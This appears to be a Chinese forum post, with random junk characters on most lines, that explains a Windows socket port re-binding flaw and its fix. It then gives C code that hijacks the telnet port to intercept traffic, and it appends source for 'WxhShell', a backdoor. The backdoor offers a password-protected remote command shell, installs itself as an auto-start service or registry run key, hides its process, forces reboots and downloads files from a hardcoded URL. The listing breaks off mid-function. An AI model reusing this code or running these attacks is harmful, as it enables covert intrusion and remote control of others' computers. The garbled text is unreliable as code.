在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n
?%3=~9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$a6&OH/ C61KY7iyR saddr.sin_family = AF_INET;
'"5"$)7 [FKmZzEy saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tIb?23K0 T[=XGAJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
x7J| rbnu:+! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<ZJ>jZV0* N1Y*IkW" 这意味着什么?意味着可以进行如下的攻击:
'[p~|
mX 3MC| O5R4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
lX`)Avqa $&m^WrZaY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
nm*!#hx $7aR f' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
lC6#EU; Kg>+5~+E?q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L_jwM^8 _Bh-*l?K> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o(~>a :&`Yz
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c3|;'s yov:JnWo 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[^W4%S \1RQ),5 %] #include
cW),Y|8 #include
!+ IxPn #include
c?d+>5"VX #include
4i[3|hv' DWORD WINAPI ClientThread(LPVOID lpParam);
+I2P{7 int main()
0-g,C=L {
K+H?,I WORD wVersionRequested;
Z>a_vC DWORD ret;
b]mRn{r? WSADATA wsaData;
DB_
x BOOL val;
9U58# SOCKADDR_IN saddr;
C^r 3r6 SOCKADDR_IN scaddr;
+U^dllL7 int err;
ap\2={u^| SOCKET s;
g4d5G=y SOCKET sc;
mCtuyGY int caddsize;
)xP]rOT HANDLE mt;
~@z5Ld3xz DWORD tid;
p7 !q#o wVersionRequested = MAKEWORD( 2, 2 );
P-No;/!B# err = WSAStartup( wVersionRequested, &wsaData );
tF&%7(EU3 if ( err != 0 ) {
uGJeQ printf("error!WSAStartup failed!\n");
~SZ0Yu:X return -1;
n <lU; }
wH!]B-hn saddr.sin_family = AF_INET;
N{P (ym2yR _Ux>BJmP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
AUoi$DF(@ M.d{:&@`% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|82V`CV saddr.sin_port = htons(23);
>Q+a'bd w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,D3q8?j {
[O [N _z printf("error!socket failed!\n");
d[rxmEXht return -1;
lyZof_/* }
7 m&M(ct val = TRUE;
a|5GC pp //SO_REUSEADDR选项就是可以实现端口重绑定的
WLNkO^zb if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fUb5KCZ {
SNff printf("error!setsockopt failed!\n");
8c__ U< return -1;
o LX6w }
` M4;aN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
u
bP2ws //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ClVMZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)J (ekfM Aid{PGDk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$F G4wA {
&.<{c
`- ret=GetLastError();
:!tQqy2 printf("error!bind failed!\n");
HK&F'\'} return -1;
=q[3/'2V$? }
wC=IN listen(s,2);
K
N0S$nW+ while(1)
;=)CjC8) {
)l30~5u<J caddsize = sizeof(scaddr);
f*5=,$0 //接受连接请求
G!OD7: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)KBv[| if(sc!=INVALID_SOCKET)
|}q0G~l {
7\a(Imq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Q6%m}R if(mt==NULL)
\|j`jsq {
)CdglPK printf("Thread Creat Failed!\n");
S3qUzK break;
1 ,D2][ }
uLhamE) }
z0g]nYN% CloseHandle(mt);
~Zaxn~u:
}
j*QY_Ny* closesocket(s);
'`[nt25N WSACleanup();
4sZ^:h,1 return 0;
>454Yir0Mk }
Ju+@ROZ DWORD WINAPI ClientThread(LPVOID lpParam)
[.<vISRir {
zy$hDy0 SOCKET ss = (SOCKET)lpParam;
)\VUAD%~e7 SOCKET sc;
,~G _3Oz unsigned char buf[4096];
CF42KNq SOCKADDR_IN saddr;
YLobBtXc9 long num;
Ubn5tN
MK DWORD val;
5QSd$J DWORD ret;
`i{o8l //如果是隐藏端口应用的话,可以在此处加一些判断
>r]# 77d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Mh_jlgE'd# saddr.sin_family = AF_INET;
g4Hq<W" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=$BgIt saddr.sin_port = htons(23);
tvb hWYe if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*~ &W?i {
'a"<uk3DT printf("error!socket failed!\n");
ZQ20IY|, return -1;
-'q=oTZ }
m"x~Fjvd val = 100;
%],.?TS2V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
' R=o,= {
&I!2gf ret = GetLastError();
:hJhEQH(9 return -1;
]E=JUYf0 }
oTx#e[8f{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lc5NC;JR {
aL=VNZ!Pqc ret = GetLastError();
a-QHm;_S return -1;
o@pM??&x }
Rut6m5> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/
m?Z! {
a~XNRAh printf("error!socket connect failed!\n");
:K8T\ closesocket(sc);
,cC4d` closesocket(ss);
F=P|vYL&& return -1;
OH)SdSBz }
*"e[au^8*b while(1)
Zs{ `Yf^Q {
)Fm //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
sgB3i`_M //如果是嗅探内容的话,可以再此处进行内容分析和记录
j 6v +S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&F.lo9JJ num = recv(ss,buf,4096,0);
>eUAHmXQ| if(num>0)
~^5uOeTZ~ send(sc,buf,num,0);
zcZr
)Oh else if(num==0)
n.A[Z break;
/VJ@`]jhDf num = recv(sc,buf,4096,0);
`DA=';>Y if(num>0)
9L&AbmIr send(ss,buf,num,0);
s{iYf : else if(num==0)
K@>v|JD break;
<#R7sco' }
+[F9Q,bH@b closesocket(ss);
Hpsg[d)! closesocket(sc);
;TW@{re return 0 ;
,2kWj7H%7 }
c"QH-sE *i$+i Wq>j;\3b3 ==========================================================
nK96A.B%p 3IJIeG> 下边附上一个代码,,WXhSHELL
uP*>-s'm "?S#vUS+ 2 ==========================================================
qrOTb9&y {'}Ofj #include "stdafx.h"
O:Z|fDQ` >2C;5ba #include <stdio.h>
xHL{3^ #include <string.h>
+zw<iB)J #include <windows.h>
=8J\;h #include <winsock2.h>
hQet?*diU #include <winsvc.h>
6Q wL #include <urlmon.h>
`zsKc 6% ]mqB&{g #pragma comment (lib, "Ws2_32.lib")
8;Pdd1GyUL #pragma comment (lib, "urlmon.lib")
(ZI&'"H I'yhxymZ; #define MAX_USER 100 // 最大客户端连接数
74[}AA #define BUF_SOCK 200 // sock buffer
a\MU5%}\ #define KEY_BUFF 255 // 输入 buffer
8?)Da&+f f,uxoAS #define REBOOT 0 // 重启
9g*~X;`2 #define SHUTDOWN 1 // 关机
}5S2v+zE |6;.C1\, #define DEF_PORT 5000 // 监听端口
y-Ol1R3:c# ,~kMkBkl~ #define REG_LEN 16 // 注册表键长度
C<7J5 #define SVC_LEN 80 // NT服务名长度
HL!-4kN
<$ 'x18F#g
// 从dll定义API
X F40;urm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`kz_q/K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!nYAyjf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
AzQ}}A;TSx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
SBF3\ 4u&l@BUr // wxhshell配置信息
x*)Wl! struct WSCFG {
lW2qVR int ws_port; // 监听端口
odhgIl&u char ws_passstr[REG_LEN]; // 口令
sy#Gb#=# int ws_autoins; // 安装标记, 1=yes 0=no
yqYX<<!V char ws_regname[REG_LEN]; // 注册表键名
RoiMvrJQP char ws_svcname[REG_LEN]; // 服务名
=kCpCpET char ws_svcdisp[SVC_LEN]; // 服务显示名
9\n}!{@i char ws_svcdesc[SVC_LEN]; // 服务描述信息
8uu:e<PLv char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>\i{,F=U7 int ws_downexe; // 下载执行标记, 1=yes 0=no
[NFAdE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~/.&Z`ls char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0FW=8hFp, I2/wu(~> };
$i2gOz <l6CtK@ // default Wxhshell configuration
.9E`x>C struct WSCFG wscfg={DEF_PORT,
t+#Ss v8 "xuhuanlingzhe",
Iq52rI} 1,
jQdfFR "Wxhshell",
gGX/p6" "Wxhshell",
bEE:6)]G "WxhShell Service",
eQeNlCG "Wrsky Windows CmdShell Service",
kjmF-\ "Please Input Your Password: ",
q'@UZ$2 1,
9o18VJR "
http://www.wrsky.com/wxhshell.exe",
lg=[cC2 "Wxhshell.exe"
vSyN_ AB?$ };
$C>EnNx 9Z* vp^3 // 消息定义模块
!XicX9n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!hc7i=V? char *msg_ws_prompt="\n\r? for help\n\r#>";
- Z|1@s& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
jc?Hip' char *msg_ws_ext="\n\rExit.";
4 I~,B[| char *msg_ws_end="\n\rQuit.";
f9rToH char *msg_ws_boot="\n\rReboot...";
ywdNwNJ char *msg_ws_poff="\n\rShutdown...";
Y#m0/1- char *msg_ws_down="\n\rSave to ";
KOxD%bX_ OGVhb>LO1 char *msg_ws_err="\n\rErr!";
T]myhNk char *msg_ws_ok="\n\rOK!";
o4J K$% %DN&K char ExeFile[MAX_PATH];
zz9.OnZ~ int nUser = 0;
Vy?w,E0^: HANDLE handles[MAX_USER];
BkJcT int OsIsNt;
'2vlfQ@8a~ &sllM SERVICE_STATUS serviceStatus;
*oPSkEA{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
WV6vM()#!C 0<)8
?ow // 函数声明
+X&B' int Install(void);
Ry(!<w, int Uninstall(void);
qd.b&i int DownloadFile(char *sURL, SOCKET wsh);
PM|K*,3J int Boot(int flag);
aR\=p:%jGI void HideProc(void);
;js7rt int GetOsVer(void);
} 6KL int Wxhshell(SOCKET wsl);
6xOR,p>E void TalkWithClient(void *cs);
z~W@`'f int CmdShell(SOCKET sock);
-R8RAwsLG int StartFromService(void);
g5"g,SFGr int StartWxhshell(LPSTR lpCmdLine);
ooq>/OI0 yJrPb" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ALG
#)$| VOID WINAPI NTServiceHandler( DWORD fdwControl );
}cP3i x;SrJVDN // 数据结构和表定义
1idEm*3&( SERVICE_TABLE_ENTRY DispatchTable[] =
AV'> {
q4Z\y {wscfg.ws_svcname, NTServiceMain},
J3'"-,Hv {NULL, NULL}
RsY<j& f };
Wm
A:"!~M qV}zV\Nz // 自我安装
5GY%ZRHh int Install(void)
hZFbiGQr\ {
!pN,,H6Y char svExeFile[MAX_PATH];
$ey<8qzp HKEY key;
mA4v 4z strcpy(svExeFile,ExeFile);
Sb`>IlT\# "<&F=gV // 如果是win9x系统,修改注册表设为自启动
PaZ FM if(!OsIsNt) {
a@7we=! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qmK!d<4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w&H
?; 1 RegCloseKey(key);
;?y?s'>t& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
REt()$
7~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+-oXW>`& RegCloseKey(key);
Mz06cw& return 0;
!98s[)B: }
,4\vi| }
-ZuzJAA }
eL(T else {
+<iw|vr hcBfau; r // 如果是NT以上系统,安装为系统服务
0VbZBLe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qvt~wJf< if (schSCManager!=0)
RFZrcM {
Q~]R#S SC_HANDLE schService = CreateService
9xSAWKr,l (
Hp,r
@ schSCManager,
2M;{|U wscfg.ws_svcname,
mr/^lnO wscfg.ws_svcdisp,
1xx-}AIH# SERVICE_ALL_ACCESS,
T.{I~_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
tVe*J@i\$ SERVICE_AUTO_START,
,:#prT[P" SERVICE_ERROR_NORMAL,
K.cNx svExeFile,
<1@_MYo NULL,
&
IDF9B NULL,
tf/ f-S NULL,
;Y~;G7 NULL,
2D-*Z=5^ NULL
0]WM:6 h );
R#r?<Ofw4 if (schService!=0)
/,;9hx {
Bf7RW[ -v CloseServiceHandle(schService);
/yI~(8bO CloseServiceHandle(schSCManager);
k_^d7yH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
MTF:mLJ strcat(svExeFile,wscfg.ws_svcname);
2x{3' ^+l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>g F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$EtZ5?qS RegCloseKey(key);
fkx
9I m4 return 0;
2L,e\]2Z }
<oR Nd3d }
"+rX*~ CloseServiceHandle(schSCManager);
Vb1@JC9b }
X&McNO6" }
sQ`8L+oY / '7WL[< return 1;
Ek4aC3 }
?d_Cy\G v5*SoUOF // 自我卸载
1.';:/~( int Uninstall(void)
ck Tnb {
u?aq'
"t HKEY key;
B0YY7od Fc nR}TE if(!OsIsNt) {
Ck[Z(=b$$: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9@S
icqx
RegDeleteValue(key,wscfg.ws_regname);
Z|j8:Ohz RegCloseKey(key);
#<?j784 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L$jRg RegDeleteValue(key,wscfg.ws_regname);
MBa/-fD RegCloseKey(key);
%;zA_Wg return 0;
MjLyB^M }
[szwPNQ_ }
sd=i!r)ya }
gz$=\=%>RL else {
nGP>M#F XL"e<P;t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}we"IqLb if (schSCManager!=0)
UL{Xe&sT {
7g=Ze~aq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>`lf1x if (schService!=0)
%fxGdzu7. {
+}:c+Z< if(DeleteService(schService)!=0) {
7#<|``]zNf CloseServiceHandle(schService);
N/y.=] CloseServiceHandle(schSCManager);
I=b#tUBh8 return 0;
kDm=Cjxv }
Et7AAV*8g CloseServiceHandle(schService);
u2F
3>s }
~fS#)X3 D CloseServiceHandle(schSCManager);
K{0mb }
mWigy`V^~ }
U"ga0X5 qg'm<[ return 1;
ebQYk$@ }
kiXa2Yn*(d J|K~a?&vN // 从指定url下载文件
Ot/Y?=j~ int DownloadFile(char *sURL, SOCKET wsh)
j7i[z>:Y {
2Gx&ECa, HRESULT hr;
B]kz3FF char seps[]= "/";
?B[Z9Ef"8l char *token;
ZM5[
o
m char *file;
5#iv[c char myURL[MAX_PATH];
{E@@14]g char myFILE[MAX_PATH];
lv{Qn~\y& 9}": }! strcpy(myURL,sURL);
8rw;Yo<k token=strtok(myURL,seps);
2O4UytN while(token!=NULL)
!WrUr]0IP {
=n$,Vv4A file=token;
*%g*Np_P token=strtok(NULL,seps);
?Bk"3{hl }
R*QL6t ZL-@2ZU{1 GetCurrentDirectory(MAX_PATH,myFILE);
gBresHrlH strcat(myFILE, "\\");
w8>p[F5`O strcat(myFILE, file);
*S;v406 send(wsh,myFILE,strlen(myFILE),0);
<]"aP1+C send(wsh,"...",3,0);
:egSW2"5S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
whvM^ if(hr==S_OK)
R`/nsou return 0;
3"q%-M|+Q else
R{4O*i8# return 1;
]1gt|M^ @aBZ|8 }
A87Tyk2Pi 20hE)!A // 系统电源模块
"WK.sBFz4 int Boot(int flag)
0;V2>! {
6)Oe]{- HANDLE hToken;
ZLBfQ+pM) TOKEN_PRIVILEGES tkp;
\z<'6,b qxE~Moht if(OsIsNt) {
@8Co5`CVl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>)!"XFbb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2)mKcUL- tkp.PrivilegeCount = 1;
^2Op?J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|QXW$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B< 6*Ktc if(flag==REBOOT) {
KJSN)yn\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
As78yfK return 0;
pcL02W|J }
G!%1<SLi. else {
lQ)ZsFs= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-O -_F6p'D return 0;
BYwG\2?~ }
p2tBF98 }
8a"aJYj else {
ptrLnJ|% if(flag==REBOOT) {
a*=\-;HaZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
u},<On return 0;
UPLr[>Q# }
wgI$'tI else {
~/
"aD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
q}(UC1| return 0;
TB1 1crE }
{s4:V=J }
Z+Z`J;
, <L:v2 8c return 1;
6`F_js.a }
hX~IZ((Hi8 #y2="$V // win9x进程隐藏模块
1\_4# @') void HideProc(void)
!MQo=k {
R1A!ob Y#C=ku HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Z'!jZF~4p if ( hKernel != NULL )
]Kil/Y {
5jkW@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`W{Ye=|[d# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}1epn#O_4 FreeLibrary(hKernel);
-`#L rO;n }
R (4 :_ xc 3u-j`7 return;
N'|zPFkg }
G8eAj%88 #jK{)%}mA // 获取操作系统版本
a\^DthZ!;| int GetOsVer(void)
!d%OoRSU' {
~M,nCG^4 OSVERSIONINFO winfo;
/.Gx
n0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_ ?=bW GetVersionEx(&winfo);
q'{E $V)E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
A+:K!|w return 1;
PK!=3fK4\F else
D55dD> return 0;
eDIjcZ }
ld`oIEj!P_ c tTbvXP // 客户端句柄模块
)|'? uN7 int Wxhshell(SOCKET wsl)
CP/`ON {
jbfMTb4 SOCKET wsh;
:^! wQ""
struct sockaddr_in client;
rzY7f: ' DWORD myID;
"X"DTP1b A5B 5pJ while(nUser<MAX_USER)
M9 _h0 {
u6cWLVt int nSize=sizeof(client);
Cz m`5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o^7}H{AE if(wsh==INVALID_SOCKET) return 1;
^vJ08gu_W 3v5]L3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z2S53^C* if(handles[nUser]==0)
\MX>= closesocket(wsh);
HrWXPac
A else
{v<Ig{{V nUser++;
aW$7:<A{ }
($[pCdY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Ku 56TH!Py &2#<6=} return 0;
Kx$?IxZ }
(m~MyT#S ub./U@1 // 关闭 socket
~@MIG void CloseIt(SOCKET wsh)
[Gy sx {
BX2&tQSp closesocket(wsh);
p*n$iroy_{ nUser--;
V'\4sPt ExitThread(0);
a'XCT@B }
P[aB}<1f0 Vad(PS0 // 客户端请求句柄
~Og'IRf void TalkWithClient(void *cs)
IiS1ubNtZ {
:n{rVn}G v)4 kS SOCKET wsh=(SOCKET)cs;
Q/-YLf. char pwd[SVC_LEN];
wzT+V, char cmd[KEY_BUFF];
__'Z0?.4# char chr[1];
+#,t int i,j;
*cq#>rN H\8.T:> while (nUser < MAX_USER) {
Fu!:8Wp!( $A8eMJEpL if(wscfg.ws_passstr) {
c;BQ$je} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H[fD
> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,1RW}1n //ZeroMemory(pwd,KEY_BUFF);
Su-LZ'C\ i=0;
NS mo(c>5 while(i<SVC_LEN) {
~iydp N@Bqe{r6j // 设置超时
;@
%~eIlu fd_set FdRead;
>0T0K`o struct timeval TimeOut;
}0}J FD_ZERO(&FdRead);
: :e=6i FD_SET(wsh,&FdRead);
V]`V3cy1+3 TimeOut.tv_sec=8;
!V7VM_}@Y TimeOut.tv_usec=0;
yEzp+Ky int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Ed.~9*m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-L</,>p cD-\fRBGK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Vy&F{T;$ pwd
=chr[0]; eW0:&*.vMj
if(chr[0]==0xd || chr[0]==0xa) { 2m/1:5
pwd=0; |#f
P8OK
break; Z:)\j.
} 7Ja^d-F7
i++; DTAEfs!ZW
} SDcD(G
3sHC1+
// 如果是非法用户,关闭 socket HOtays,#<}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); daY^{u3
} >{ne!
RkP7}ZA;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pG:FDlR~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IgR_p7['.
0JKbp*H
while(1) { /p?h@6h@y
([`-*Hy
ZeroMemory(cmd,KEY_BUFF); :q0C$xF
,`S"nq
// 自动支持客户端 telnet标准 w'?uJW
j=0; HaJD2wvr
while(j<KEY_BUFF) { !>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %fK"g2:
cmd[j]=chr[0]; r]kLe2r:B
if(chr[0]==0xa || chr[0]==0xd) { 1!0BE8s"@
cmd[j]=0; >c;qIP)Z
break; J$]d%p_I
} 71w
j++; 4}LGE>
} M I/9?B
X 4;+`
// 下载文件 ]ZHC*r2i
if(strstr(cmd,"http://")) { x]Nq|XK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gk'J'9*
if(DownloadFile(cmd,wsh)) ^h4Q2Mv o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *.ZV.(
else 8.'%wOU@A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /'!F \ kz
} +w%MwPC7`
else { ){L`hQ*=w
v|CRiwx
switch(cmd[0]) { J:M^oA'N:>
V)_mo/D!D
// 帮助 *~:4&$
case '?': { {*yhiE ,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &HT
PeB
break; |JnJ=@-y
} 6 @'v6 1'
// 安装 QR\qGhQ~
case 'i': { =Q[5U9
if(Install()) Go+f0aig
send(wsh,msg_ws_err,strlen(msg_ws_err),0); enDjP
else | t3_E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "&77`R
break; ;,'eO i
} $l 0^2o=
// 卸载 haqL
DVrf
case 'r': { cuW$%$F
if(Uninstall()) $*`fn{2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); . m@Sk`s
else !sK{:6s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5lVDYmh
break; coyy T
} <G}>Gk8x
// 显示 wxhshell 所在路径 '!b1~+PV
case 'p': { Nq9@^ E-{M
char svExeFile[MAX_PATH]; KZsSTB6J
strcpy(svExeFile,"\n\r"); {CYFM[V
strcat(svExeFile,ExeFile); yLipuMNV
send(wsh,svExeFile,strlen(svExeFile),0); $l7
<j_C
break; *=UEx0_!q
} {LrezE4
// 重启 &5~bJ]P
case 'b': { dl;^sn0s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OqHD=D[
if(Boot(REBOOT)) {6 C!^ 5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _LCK|H%v'
else { BQ2DQ7q
closesocket(wsh); -jFvDf,M,D
ExitThread(0); }9:d(B9;
} cQA;Y!Q#
break; k`'^e/
} l"*zr ;#
// 关机 #zZQ@+5zw
case 'd': { ;[uJ~7e3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bX=A77
if(Boot(SHUTDOWN)) Rm&i"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G\=7d%T+
else { ROW8YTYb
closesocket(wsh); M(jSv
ExitThread(0); [qI, $ +
} bmGIxBRq
break; o/)]z
} QZYD;&iY&
// 获取shell ")i4w{_y
case 's': { .?@$Rd2@W
CmdShell(wsh); j_j~BXhIS
closesocket(wsh); i%:oO
KI
ExitThread(0); /MosE,7l
break; }c:s+P+/
} )xoI H{
// 退出 Kj;Q;Ii
case 'x': { ;SagN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |Q@4F&k
CloseIt(wsh); z^ rf;
break; o vvR{MTc
} +YI/(ko=
// 离开 VK[^v;
case 'q': { zr-HL:js
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6H53FMqr
closesocket(wsh); ;S7MP`o@
WSACleanup(); K_G(J>
exit(1); e)zE*9
break; 7:)=
} u$X[=
} 3ktjMVy\
} &&nvv &a
hV)D,oN3
// 提示信息 }N&}6U
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H"=%|/1M0
} kD8$ir'UYG
} ^yb3L1y
Rr{mD#+
return; 5N@k9x
} F;kY5+a7~e
P\pHos
// shell模块句柄 ^mv F%"g
int CmdShell(SOCKET sock) W.'#pd
{ !9_HZ(W&
STARTUPINFO si; HQCxO?
ZeroMemory(&si,sizeof(si)); g=XvqD<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yT.h[yv"w
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^<}9#q/rt
PROCESS_INFORMATION ProcessInfo; ;}@.E@s%'
char cmdline[]="cmd";
{^a"T'+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'JU(2mF
return 0; nm`[\3R
} ~k^rI jR
(y*7
gf
// 自身启动模式 aY@]mMz\
int StartFromService(void) EZ:pcnL{
{ ?
%XTD39
typedef struct %JF^@\E!|
{ C&